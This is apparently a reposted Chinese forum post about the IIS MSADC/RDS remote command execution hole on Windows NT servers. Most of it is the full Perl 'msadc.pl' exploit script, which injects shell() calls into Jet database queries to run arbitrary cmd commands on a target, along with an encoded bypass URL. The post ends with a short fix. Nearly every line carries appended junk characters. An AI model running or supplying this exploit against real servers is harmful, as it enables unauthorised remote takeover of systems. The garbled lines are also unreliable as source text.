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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) :yD@5)  
2{};6{yz  
涉及程序: Wf1-"Q  
Microsoft NT server -s~p}CQ.  
'%Dg{ zL  
描述: R6Pz#`n  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 bX{PSjD  
g =\13# F  
详细: J~2 CD*v  
如果你没有时间读详细内容的话,就删除: m){&:Hs  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }rxFS <j  
有关的安全问题就没有了。 M=Is9)y  
ddMM74  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 p;ZDpR  
f[M"EMy  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ap,q `S  
关于利用ODBC远程漏洞的描述,请参看: K!b>TICa:  
D4\(:kF\Hg  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9jjL9f_3  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \]GGVI ;u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "b;k.Fx  
Q2R>lzB  
这里不再论述。 ~p!QSRu~,b  
s.e y!ew  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^ N_`^m  
[r~~=b7*[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  RA~_]Hk  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Faw. GU  
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nTQ (JDf  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2c*2\93>  
>,w P! ;dh  
#!perl Xa\]ua_  
# ?/L1tX)  
# MSADC/RDS 'usage' (aka exploit) script T/3;NXe6E  
# ceI [hM  
# by rain.forest.puppy 0Cv4/Ar(  
# dW6Q)Rfi  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "p2u+ 8?  
# beta test and find errors! KK MWD\  
9 &[\*{  
use Socket; use Getopt::Std; '.xkn{c  
getopts("e:vd:h:XR", \%args); ri;r7Y9V9`  
'4Y*-!9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |W/Hi^YE2  
~l@%=/m  
if (!defined $args{h} && !defined $args{R}) { {.%0@{Y  
print qq~ /iTH0@Kw;  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "URVX1#(r  
-h <host> = host you want to scan (ip or domain) yO%VzjJhg  
-d <seconds> = delay between calls, default 1 second &A#90xzF  
-X = dump Index Server path table, if available D`5: JR-{  
-v = verbose ]n/jJ_[  
-e = external dictionary file for step 5 m';|}z'  
nFSG<#x\  
Or a -R will resume a command session 4O9tx_<JG  
*,_2hvlz  
~; exit;} y& Gw.N}<r  
A` oa|k!U  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; sV;qpDXX  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 7YSuB9{M  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ]lC4+{V  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); <4SF~i  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;2 \<M 6  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } eq7C]i rH  
W>UjUq);  
if (!defined $args{R}){ $ret = &has_msadc; ">0 /8]l  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} jR }*bIzv  
rUhWZta  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" )Ep@$Gv|S  
. "cmd /c "; (p'/p  
$in=<STDIN>; chomp $in; 0!)U *+j,  
$command="cmd /c " . $in ; -U&098}<K  
qrOB_Nz  
if (defined $args{R}) {&load; exit;} !k ;[^>  
',<{X (#(  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; P[r}(@0rJ  
&try_btcustmr; ~p0 e=u  
E%KC'T N^D  
print "\nStep 2: Trying to make our own DSN..."; 1"N/ZKF-x  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; oTZo[T@zRx  
hlt9x.e.A  
print "\nStep 3: Trying known DSNs..."; lb=2*dFJ1  
&known_dsn; BD<rQmfA^  
k{!iDZr&f,  
print "\nStep 4: Trying known .mdbs..."; $XtV8  
&known_mdb; GXGN;,7EV  
dICnB:SSB  
if (defined $args{e}){ :ga 9Db9P  
print "\nStep 5: Trying dictionary of DSN names..."; 9iiU,}M`j  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } w?*'vF_2:#  
|v,}%UN2  
print "Sorry Charley...maybe next time?\n"; $v2S;UB v*  
exit; 99=[>Ck)G  
yKel|vM#  
############################################################################## xow6@M,  
\r)_-  
sub sendraw { # ripped and modded from whisker * <Nk%`  
sleep($delay); # it's a DoS on the server! At least on mine... ajg7xF{l)  
my ($pstr)=@_; |rG8E;>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XL%vO#YT  
die("Socket problems\n"); sf=%l10Fk#  
if(connect(S,pack "SnA4x8",2,80,$target)){ .CB"@.7  
select(S); $|=1; f[w jur  
print $pstr; my @in=<S>; x`b~ZSNJ%  
select(STDOUT); close(S); `Nxo0Q  
return @in; Ej9/_0lt  
} else { die("Can't connect...\n"); }} W\ZV0T;<]  
AiR%MD  
############################################################################## c=uBT K*  
E0WrpGZ  
sub make_header { # make the HTTP request uk>q\j  
my $msadc=<<EOT KR+aY.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7l4InR]  
User-Agent: ACTIVEDATA |~1rKzZwF  
Host: $ip }Etd#">  
Content-Length: $clen aH~x7N6!  
Connection: Keep-Alive =2GP^vh  
T% jjs  
ADCClientVersion:01.06 e%5'(V-y,  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 }-k_?2"A  
98<bF{#0WM  
--!ADM!ROX!YOUR!WORLD! h[M6.  
Content-Type: application/x-varg AOq9v~)z-  
Content-Length: $reqlen 3:z4M9f  
ZKiL-^dob  
EOT N69eI dl  
; $msadc=~s/\n/\r\n/g; !rN#PF>  
return $msadc;} `t/@ L:  
pEqr0Qwh  
############################################################################## '=@H2T6=  
!nqm ;96  
sub make_req { # make the RDS request GhchfI.  
my ($switch, $p1, $p2)=@_; D|8sjp4  
my $req=""; my $t1, $t2, $query, $dsn; 8z3I~yL_`+  
-X6\[I:+A  
if ($switch==1){ # this is the btcustmr.mdb query A$$R_3ne  
$query="Select * from Customers where City=" . make_shell(); RLeSA\di  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . %<bG%V(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} T5X'D(\|  
hc31+TL  
elsif ($switch==2){ # this is general make table query P*nT\B  
$query="create table AZZ (B int, C varchar(10))"; s|rZ>SLL  
$dsn="$p1";} Z1qATX Xf  
0YTtA]|`4  
elsif ($switch==3){ # this is general exploit table query Oujlm|  
$query="select * from AZZ where C=" . make_shell(); f"OA Zji  
$dsn="$p1";} hIg, 0B  
E?;T:7.%  
elsif ($switch==4){ # attempt to hork file info from index server _sCJ3ZJ  
$query="select path from scope()"; Wtzj;GJj  
$dsn="Provider=MSIDXS;";} Xk$l-Zfse  
g}s-v?+  
elsif ($switch==5){ # bad query IJb1) ZuR  
$query="select"; g)| ++?  
$dsn="$p1";} 3 MI) E  
EY[Q%  
$t1= make_unicode($query); ~*Sbn~U  
$t2= make_unicode($dsn); dOYmt,  
$req = "\x02\x00\x03\x00"; 2 |kH%  
$req.= "\x08\x00" . pack ("S1", length($t1)); DRFuvU+e  
$req.= "\x00\x00" . $t1 ; 7T(OV<q;#  
$req.= "\x08\x00" . pack ("S1", length($t2)); O'yjB$j  
$req.= "\x00\x00" . $t2 ; ")[Q4H;V  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;JD3tM<  
return $req;} { "@b`  
r &l*.C*  
############################################################################## `__?7"p )\  
E?c{02fu  
sub make_shell { # this makes the shell() statement ^: rNoo  
return "'|shell(\"$command\")|'";} GJl@ag5h]!  
+8@`lDnr  
############################################################################## O%Gsk'mo  
lXL7q?,9  
sub make_unicode { # quick little function to convert to unicode uJ!s%s2g  
my ($in)=@_; my $out; G:6$P%.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } K {1ZaEH  
return $out;} Lw+1|  
ws=9u-  
############################################################################## GVHfN5bTqn  
+68K[s,FD  
sub rdo_success { # checks for RDO return success (this is kludge) 4\eX=~C>:  
my (@in) = @_; my $base=content_start(@in); {J6sM$aj  
if($in[$base]=~/multipart\/mixed/){ 6/WK((Fd  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} K1wN9D{t'  
return 0;} pGcx jm  
re 1k]  
############################################################################## g:3'x/a1  
bCx1g/   
sub make_dsn { # this makes a DSN for us :`"T Eif  
my @drives=("c","d","e","f"); 6xzR*~ 7  
print "\nMaking DSN: "; K7R])*B.~  
foreach $drive (@drives) { 3K20f8g  
print "$drive: "; w)y9!li  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . SAo \H  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I3rnCd(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); I~5fz4Q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; O[(HE 8E  
return 0 if $2 eq "404"; # not found/doesn't exist /5'<w(  
if($2 eq "200") { vaCdfO&  
foreach $line (@results) { x_iy;\s1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} cZX&itVc:  
} return 0;} bZlLivi  
sq (063l  
############################################################################## en#g<on  
)PoI~km  
sub verify_exists { Y1ilH-8  
my ($page)=@_; S%gO6&^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); OFL+Q~~C  
return $results[0];} j6 d"8oH _  
byj mH  
############################################################################## V-U  ^O45  
lXk-86[M  
sub try_btcustmr { gwB> oi*OE  
my @drives=("c","d","e","f"); a:%5.!Vd  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hv8[_p`>  
{hq ;7  
foreach $dir (@dirs) { ci NTYow  
print "$dir -> "; # fun status so you can see progress j[Zni D  
foreach $drive (@drives) { xW;[}t-QS  
print "$drive: "; # ditto G~hILW^  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; o/[yA3^  
$reqlenlen=length( "$reqlen" ); wj5s5dH  
$clen= 206 + $reqlenlen + $reqlen; T]Td4T!  
LY cSMuJ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 64?$TT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} |ij5c@~&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Oi&w_ Z0  
Cy> +j{%!  
############################################################################## <UHWy&+z&  
|b@A:8ss  
sub odbc_error { B+$Q"  
my (@in)=@_; my $base; >sS:x,-  
my $base = content_start(@in); l \n:"*To  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7<'i#E~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :-@P3F[0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d*:qFq_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /ZN5WK  
return $in[$base+4].$in[$base+5].$in[$base+6];} AdS_-Cm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ieLN;)Iy^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c&?H8G)x  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} )"3oe ?  
E=~WQ13Q  
############################################################################## 4k?JxA)  
>s?;2T2"yx  
sub verbose { 1Kf t?g  
my ($in)=@_; _ ,1kcDu  
return if !$verbose; k<";t  
print STDOUT "\n$in\n";} *rKv`nva5  
x<7` 109]  
############################################################################## U*U )l$!  
y\|\9Q%D  
sub save { Gz5@1CF  
my ($p1, $p2, $p3, $p4)=@_; RIqxM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; v6Wf7)d/1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; VRP.tD  
close OUT;} [gr[0aGBc  
UT7lj wT  
############################################################################## sW3D ( n  
N$\5%  
sub load { Kf<_A{s  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >@e%,z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;|1P1H-W~M  
@p=<IN>; close(IN); r_Yl/WW  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `a-T95IFy  
$target= inet_aton($ip) || die("inet_aton problems"); ~e~Mx=FT0  
print "Resuming to $ip ..."; z :jF) N  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; WY~[tBi\  
if($p[1]==1) { 1L qJ@v0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; P2RL\`<"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &_9e g  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'eY[?LJ]U  
if (rdo_success(@results)){print "Success!\n";} 4n)Mx*{  
else { print "failed\n"; verbose(odbc_error(@results));}} \ iSBLU  
elsif ($p[1]==3){ #l% \}OC  
if(run_query("$p[3]")){ ouZ9oy(}a  
print "Success!\n";} else { print "failed\n"; }} v86`\K*0Y  
elsif ($p[1]==4){ x&b-Na3Xi  
if(run_query($drvst . "$p[3]")){ c0p=/*s(  
print "Success!\n"; } else { print "failed\n"; }} Z'm%3  
exit;} ?\VN`8Yb  
^S2} 0N f  
############################################################################## ew['9  
1vudT&  
sub create_table { MdjMTe s  
my ($in)=@_; FdHWF|D  
$reqlen=length( make_req(2,$in,"") ) - 28; _u5U> w  
$reqlenlen=length( "$reqlen" ); F>R)~;Ja  
$clen= 206 + $reqlenlen + $reqlen; +N&(lj  
my @results=sendraw(make_header() . make_req(2,$in,""));  :!FwF65  
return 1 if rdo_success(@results); Fpwh.R:yV  
my $temp= odbc_error(@results); verbose($temp); S$/3Kq  
return 1 if $temp=~/Table 'AZZ' already exists/; t^;Fq{>  
return 0;} T=Q{K|JE  
$oj<yH<i  
############################################################################## O~]G(TMs8W  
L(S.  
sub known_dsn { ^P`'qfZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go =B%e0M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", p}X87Zq  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", - $/{V&?t  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !Shh$iz  
"g[UX{L  
foreach $dSn (@dsns) { _I5+o\;1  
print "."; xF+x I6  
next if (!is_access("DSN=$dSn")); rWmi 'niu  
if(create_table("DSN=$dSn")){ M_I\:Q  
print "$dSn successful\n"; K%Ml2V   
if(run_query("DSN=$dSn")){  Vp4]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { swbD q  
print "Something's borked. Use verbose next time\n";}}} print "\n";} UbH=W(%  
$ayD55W4  
############################################################################## D8XXm lo  
W4a20KM2  
sub is_access { 9oz)E>K4f  
my ($in)=@_; sg\ jC#  
$reqlen=length( make_req(5,$in,"") ) - 28; n K=V`  
$reqlenlen=length( "$reqlen" ); 8#B;nyGD1I  
$clen= 206 + $reqlenlen + $reqlen; H@2+wr)$}  
my @results=sendraw(make_header() . make_req(5,$in,"")); +-V?3fQ  
my $temp= odbc_error(@results); ?&_\$L[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); #JM*QVzv  
return 0;} aa]v7d  
JpiKZG@L  
############################################################################## U++UG5c  
Pw.+DA  
sub run_query { Mpx.n]O.  
my ($in)=@_; xoaQ5u  
$reqlen=length( make_req(3,$in,"") ) - 28;  JwcP[w2  
$reqlenlen=length( "$reqlen" ); ]0E-lD0J  
$clen= 206 + $reqlenlen + $reqlen; T+hW9pa)  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7X>3WF  
return 1 if rdo_success(@results); SBt: `,  
my $temp= odbc_error(@results); verbose($temp); inrL'z   
return 0;} %)V3QnBO  
0l*/_;wo  
############################################################################## MLX.MUS  
+M:Q!'  
sub known_mdb { |05LHwb>  
my @drives=("c","d","e","f","g"); @DR&e^Zz  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %Kp}Wo6  
my $dir, $drive, $mdb; (FHh,y~v  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )cXc"aj@s  
!^\/ 1^  
# this is sparse, because I don't know of many krU2S-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", eyV904<F  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", .jw)e!<\N  
"\\system32\\certmdb.mdb", =Y0m;-1M  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  VVY\W!  
+a;j>hh  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", i|Wn*~yFOO  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4F?1,-X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Fjb[Ev  
"\\cfusion\\cfapps\\security\\realm_.mdb", d-aF-  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", hRu%> =7  
"\\cfusion\\database\\cfexamples.mdb", L_|Y_=r."  
"\\cfusion\\database\\cfsnippets.mdb", @hPbD?)M  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Ja1*a,],L  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", XMdYted  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6D<A@DR9J  
"\\cfusion\\database\\smpolicy.mdb", !$HWUxM;p  
"\\cfusion\\database\cypress.mdb", 0M p>X  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ]gZjV  
"\\website\\cgi-win\\dbsample.mdb", D![Twlll  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", G$b4`wt  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" G <q@K-  
); #these are just cjk5><}`H7  
foreach $drive (@drives) { zO,sq%vQn'  
foreach $dir (@dirs){ /^"TMm   
foreach $mdb (@sysmdbs) { hAdEq$  
print "."; *RO ~%g  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [A47OR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; sh 1fz 6g  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ gMbvHlT  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Z[VKB3Pb8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} E7D DMU  
-~g3?!+Hb  
foreach $drive (@drives) { Yu=^`I  
foreach $mdb (@mdbs) { {ig@Iy~DT  
print "."; ia[wVxd  
if(create_table($drv . $drive . $dir . $mdb)){ I~I%z'"RQd  
print "\n" . $drive . $dir . $mdb . " successful\n"; F 7=-k/k  
if(run_query($drv . $drive . $dir . $mdb)){ -uZ^UG!K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~+F: QrXcI  
} else { print "Something's borked. Use verbose next time\n"; }}}} {mDaK&]Oh  
} +Muyp]_  
;&!l2UB%  
############################################################################## =@'"\ "Nh  
G+}LLm.wX  
sub hork_idx { }|d:(*  
print "\nAttempting to dump Index Server tables...\n"; v|xlI4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; tkmW\  
$reqlen=length( make_req(4,"","") ) - 28; )Jc>l;G(M  
$reqlenlen=length( "$reqlen" ); C+Z"0\{o  
$clen= 206 + $reqlenlen + $reqlen; Smp+}-3O  
my @results=sendraw2(make_header() . make_req(4,"","")); a5iMCmL+  
if (rdo_success(@results)){ SV~xNzo~  
my $max=@results; my $c; my %d; y-U(`{[nM  
for($c=19; $c<$max; $c++){ #3S/TBy,  
$results[$c]=~s/\x00//g; DCm;dh  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Z7v~;JzC#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }y1M0^M-$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 'coqm8V[%  
$d{"$1$2"}="";} yQ}~ aA#h  
foreach $c (keys %d){ print "$c\n"; } &P;x<7h$t?  
} else {print "Index server doesn't seem to be installed.\n"; }} =Y BJ7.Y  
I6\3wU~).  
############################################################################## [q z6_WOo  
aj\'qRrU$  
sub dsn_dict { ` C1LR,J  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (R, eWWF8~  
while(<IN>){ ?OSd8E+itM  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ]1K &U5p  
next if (!is_access("DSN=$dSn")); }fA3{ Ro  
if(create_table("DSN=$dSn")){ CY:pYke=  
print "$dSn successful\n"; Z#Fw 1  
if(run_query("DSN=$dSn")){ /c7j@=0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bMZ0%(q  
print "Something's borked. Use verbose next time\n";}}} OjHBzrK  
print "\n"; close(IN);} !\m.&lk'^  
d09GD[5  
############################################################################## dx~Wm1  
Kk,->q<1  
sub sendraw2 { # ripped and modded from whisker 9T]]TEv4  
sleep($delay); # it's a DoS on the server! At least on mine... \S9z.!7v$  
my ($pstr)=@_; #O~Y[''C5X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Bw$-*FYE  
die("Socket problems\n"); JsC0^A;fM  
if(connect(S,pack "SnA4x8",2,80,$target)){ *,. {Xf  
print "Connected. Getting data"; 4Vs;Y&t]  
open(OUT,">raw.out"); my @in; y|aWUX/a  
select(S); $|=1; print $pstr; yDKX,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} L=$P  
close(OUT); select(STDOUT); close(S); return @in; B}Qo8i7 z  
} else { die("Can't connect...\n"); }} 0K!9MDT}*  
yP-Dj ,  
############################################################################## >eXNw}_j  
|LQmdgVr$  
sub content_start { # this will take in the server headers 9. R _=  
my (@in)=@_; my $c; `>*P(yIN  
for ($c=1;$c<500;$c++) { M_e! s}F  
if($in[$c] =~/^\x0d\x0a/){ ck}y-,>,[O  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } b9U2afd  
else { return $c+1; }}} ql4T@r3l}3  
return -1;} # it should never get here actually c*h5lM'n6  
,kP{3.#Q  
############################################################################## ^\!^#rO  
6?~pWZ&k_  
sub funky { o] nQo?!  
my (@in)=@_; my $error=odbc_error(@in); C{Fo^-3  
if($error=~/ADO could not find the specified provider/){ qUo(hbp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; A;g[G>J  
exit;} pSAXp# g  
if($error=~/A Handler is required/){ >8VJ!Kg4  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ua:EI!`  
exit;} t!~mbx+  
if($error=~/specified Handler has denied Access/){  LKm5U6  
print "\nServer has custom handler filters (they most likely are patched)\n"; BP7_o63/G  
exit;}} ka5>9E  
X[|>r@Aa!  
############################################################################## >3ODqRu  
>hXUq9;:  
sub has_msadc { N&n{R8=^"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ILQg@J l  
my $base=content_start(@results); n"pADTaB  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); us]ah~U6A  
return 0;} xj}N;FWo  
aCMcu\rd  
######################## $lv  g.u  
[AU1JO`\"  
M:x8]TA  
解决方案: [;2v[&Po  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll u66w('2  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 YziQU_  
o;O_N^_W  
拿出来充数 哈哈
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